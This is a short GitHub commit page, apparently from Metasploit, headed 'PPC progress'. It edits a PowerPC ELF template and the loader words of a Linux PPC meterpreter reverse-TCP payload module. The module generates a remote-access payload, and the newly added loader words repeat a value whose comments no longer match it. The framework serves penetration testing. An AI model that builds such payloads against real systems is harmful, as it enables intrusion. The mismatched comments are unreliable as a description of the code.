Skip to content

Commit 55d69f6

Browse files
committed
PPC progress
1 parent 44e1db2 commit 55d69f6

File tree

4 files changed

+7
-8
lines changed

4 files changed

+7
-8
lines changed

data/templates/src/elf/exe/elf_ppc_template.s

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@ ehdr: ; Elf32_Ehdr
55
db 0, 0, 0, 0, 0, 0, 0, 0 ;
66
dw 0x0200 ; e_type = ET_EXEC for an executable
77
dw 0x1400 ; e_machine = AARCH64
8-
dd 0x10000000 ; e_version
9-
dd 0x00008054 ; e_entry
8+
dd 0x01000000 ; e_version
9+
dd 0x54000000 ; e_entry
1010
dd 0x34000000 ; e_phoff
1111
dd 0 ; e_shoff
1212
dd 0 ; e_flags
@@ -32,4 +32,3 @@ phdr: ; Elf32_Phdr
3232
phdrsize equ $ - phdr
3333

3434
_start:
35-
0 Bytes
Binary file not shown.
Binary file not shown.

modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -37,11 +37,11 @@ def generate(_opts = {})
3737
stageless: true
3838
}.merge(mettle_logging_config)
3939
in_memory_loader = [
40-
0x7c832b78, # 0x1000: or r3, r4, r5 0x7c832b78
41-
0x7c832b78, # 0x1004: or r3, r4, r5 0x7c832b78
42-
0x7c832b78, # 0x1008: or r3, r4, r5 0x7c832b78
43-
0x48000004, # 0x100c: b 0x1010 0x48000004
44-
0x7de802a6, # 0x1010: mflr r15 0x7de802a6
40+
0x78faff7f, # 0x1000: or r3, r4, r5 0x7c832b78
41+
0x78faff7f, # 0x1000: or r3, r4, r5 0x7c832b78
42+
0x78faff7f, # 0x1000: or r3, r4, r5 0x7c832b78
43+
0x78faff7f, # 0x1000: or r3, r4, r5 0x7c832b78
44+
0x78faff7f, # 0x1000: or r3, r4, r5 0x7c832b78
4545
].pack('V*')
4646
payload = MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
4747
in_memory_loader + payload

0 commit comments

Comments
 (0)